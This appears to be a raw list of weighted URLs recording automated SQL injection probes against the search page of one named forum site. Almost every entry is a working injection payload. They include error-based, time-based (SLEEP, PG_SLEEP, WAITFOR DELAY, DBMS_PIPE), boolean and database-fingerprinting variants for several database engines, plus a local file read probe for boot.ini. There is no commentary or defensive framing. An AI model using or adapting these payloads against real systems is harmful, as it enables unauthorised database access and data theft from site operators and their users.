0.0001 http://www.cncml.com/search.php?mod=dir 0.0001 http://www.cncml.com/search.php?mod=file:///c:/boot.ini 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt='%2bCONVERT(INT,CHAR(106)%2bCHAR(67)%2bCHAR(117)%2bCHAR(106)%2bCHAR(50)%2bCHAR(108)%2bCHAR(67)%2bCHAR(70)%2bCHAR(87)%2bCHAR(122)%2bCHAR(106))%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(13=14)%20THEN%200x7A6272757368347234%20ELSE%20CAST(1%20AS%20INT)/(SELECT%200%20FROM%20DUAL)%20END)%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(15=21)%20THEN%200x7A6272757368347234%20ELSE%2015*(SELECT%2015%20FROM%20mysql.db)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(54=56)%20THEN%200x7A6272757368347234%20ELSE%2054*(SELECT%2054%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(69=69)%20THEN%200x7A6272757368347234%20ELSE%2069*(SELECT%2069%20FROM%20INFORMATION_SCHEMA.CHARACTER_SETS)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20(CASE%20WHEN%20(79=11)%20THEN%200x7A6272757368347234%20ELSE%2079*(SELECT%2079%20FROM%20master..sysdatabases)%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20CHAR(116)%2bCHAR(104)%2bCHAR(105)%2bCHAR(110)%2bCHAR(107)%2bCHAR(58)%2b(SELECT%20(CASE%20WHEN%20(1943=1943)%20THEN%20CHAR(105)%20ELSE%20CHAR(48)%20END))%2bCHAR(58)%2bCHAR(100)%2bCHAR(105)%2bCHAR(102)%2bCHAR(102)%2bCHAR(101)%2bCHAR(114)%2bCHAR(101)%2bCHAR(110)%2bCHAR(116)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=ELT(79=15,0x7A6272757368347234) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=MAKE_SET(94=14,0x7A6272757368347234) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=convert(int,('s'elect'%20char(106)%2bchar(58))) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4 0.0005 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201997=PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20PG_SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND%20SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%205=SLEEP(5) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%20@%60'%60%20AND%20(SELECT%20*%20FROM%20(SELECT%20COUNT(*),CONCAT(FLOOR(rand(0)*2),(SELECT%20USER()))a%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20a)b)%20OR%20@%60'%60 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20RLIKE%20(SELECT%20(CASE%20WHEN%20(18=89)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20RLIKE%20(SELECT%20(CASE%20WHEN%20(31=31)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END)) 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%20WAITFOR%20DELAY%20'0:0:5' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22%20AND%20%22DI%22=%22BZ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%22)%20AND%2089=27%20AND%20(%22I3%22=%22I3 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25%22%29%20AND%2084%3D26%20AND%201%20like%28%22%25 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25%27%29%20AND%2037%3D61%20AND%201%20like%28%27%25 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%2088=61%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(11=11)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%25'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(81=19)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END))%20AND%20'%25'=' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4%27%2b(SELECT+1+FROM+(SELECT+SLEEP(5))A)%2b%27 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4&&&&&&&&&&&&&&&&&&& 0.0002 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20'TU'='Pq 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20'p5'%20LIKE%20'w0 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20'NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20'Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201471=UTL_INADDR.GET_HOST_ADDRESS(CHR(101)%7C%7CCHR(99)%7C%7CCHR(114)%7C%7CCHR(121)%7C%7CCHR(58)%7C%7CCHR(102)%7C%7C(SELECT%20(CASE%20WHEN%20(630=630)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(105)%7C%7CCHR(110)%7C%7CCHR(100)%7C%7CCHR(58)%7C%7CCHR(120)%7C%7CCHR(108))%20AND%20'OGmp'='OGmp 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20'TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20PG_SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND%20SLEEP(5)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT(1,(SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20'zl'='zl 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20OR%20'NASDAQ'='ASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20OR%20'Ta'='At 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20OR%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20OR%20'zl'='lz 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(24=35)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END))%20AND%20'Zf'='Zf 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%20RLIKE%20(SELECT%20(CASE%20WHEN%20(64=64)%20THEN%200x7A6272757368347234%20ELSE%200x28%20END))%20AND%20'x9'='x9 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%2b(SELECT%20CONVERT(INT,CHAR(106)%2bCHAR(106)%2bCHAR(106))%20FROM%20SYSCOLUMNS)%2b' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4'%7C%7CCTXSYS.DRITHSX.SN(user,(select%20chr(104)%7C%7Cchr(105)%7C%7Cchr(58)%7C%7Cchr(102)%7C%7Cchr(105)%7C%7Cchr(110)%7C%7Cchr(100)%7C%7Cchr(58)%7C%7Cchr(105)%7C%7Cchr(116)%20from%20DUAL))%7C%7C' 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20('mN'%20LIKE%20'A1 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(104)%7C%7CCHR(107)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(49)%7C%7CCHR(57)%7C%7CCHR(57)%7C%7CCHR(55)))%20FROM%20DUAL)%20AND%20('NASDAQ'='NASDAQ 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201122=CONVERT(INT,(SELECT%20CHAR(84)%2bCHAR(97)%2bCHAR(105)%2bCHAR(87)%2bCHAR(97)%2bCHAR(110)%2bCHAR(58)%2bCHAR(103)%2bCHAR(111)%2bCHAR(58)%2bCHAR(104)%2bCHAR(111)%2bCHAR(109)%2bCHAR(101)))%20AND%20('Ta'='Ta 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201997=DBMS_PIPE.RECEIVE_MESSAGE(CHR(115)%7C%7CCHR(99)%7C%7CCHR(97)%7C%7CCHR(100),5)%20AND%20('TnT'='TnT 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201=(UPDATEXML(1,CONCAT(0x5e24,(SELECT%200x5468696E6B3A693A646966666572656E74),0x5e24),1))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%201=CHAR(106)%2bCHAR(106)%2bCHAR(106)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%2041=59%20AND%20('oA'='oA 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20EXTRACTVALUE(1,CONCAT(0x5c,0x7468696E6B3A,(SELECT%20(CASE%20WHEN%20(1222=1222)%20THEN%201%20ELSE%200%20END)),0x3A646966666572656E74))%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND%20SLEEP(5)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20AND(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20AND%20('eEye'='eEye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20OR%20(SELECT%201%20FROM(SELECT%20COUNT(*),CONCAT((SELECT%20(SELECT%20CONCAT(0x5e5e5e,unhex(Hex(cast(database()%20as%20char))),0x5e5e5e))%20FROM%20INFORMATION_SCHEMA.TABLES%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20INFORMATION_SCHEMA.TABLES%20GROUP%20BY%20x)a)%20OR%20('eEye'='eye 0.0001 http://www.cncml.com/search.php?mod=forum&formhash=468365e7&searchsubmit=true&source=hotsearch&srchtxt=zbrush4r4')%20OR%2037=37%20AND%20('hr'='hr 0.0001 